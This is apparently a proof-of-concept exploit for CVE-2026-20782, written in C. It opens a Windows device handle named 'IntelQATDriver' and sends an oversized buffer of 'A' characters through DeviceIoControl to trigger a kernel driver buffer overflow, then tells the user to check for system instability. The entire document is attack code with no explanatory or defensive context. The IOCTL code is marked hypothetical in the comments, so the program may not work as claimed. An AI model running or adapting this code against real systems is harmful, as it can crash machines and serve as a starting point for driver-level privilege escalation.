CVE-2026-20782

#include <windows.h> #include <stdio.h> // Hypothetical IOCTL for the vulnerable driver #define VULN_IOCTL_CODE 0x80002000 int main() { HANDLE hDevice; char exploitBuffer[4096]; DWORD bytesReturned; BOOL result; // Fill buffer with pattern to trigger overflow memset(exploitBuffer, 'A', sizeof(exploitBuffer) - 1); exploitBuffer[sizeof(exploitBuffer) - 1] = '\0'; printf("[*] Attempting to open vulnerable device...\n"); // Attempt to open handle to the Intel QAT driver interface hDevice = CreateFileA("\\\\.\\IntelQATDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Ensure the driver is loaded and you have permissions.\n"); return 1; } printf("[+] Device opened successfully.\n"); printf("[*] Sending malicious buffer to trigger buffer overflow...\n"); // Send the malicious payload via DeviceIoControl result = DeviceIoControl(hDevice, VULN_IOCTL_CODE, exploitBuffer, sizeof(exploitBuffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] Payload sent successfully. Check for system instability.\n"); } CloseHandle(hDevice); return 0; }

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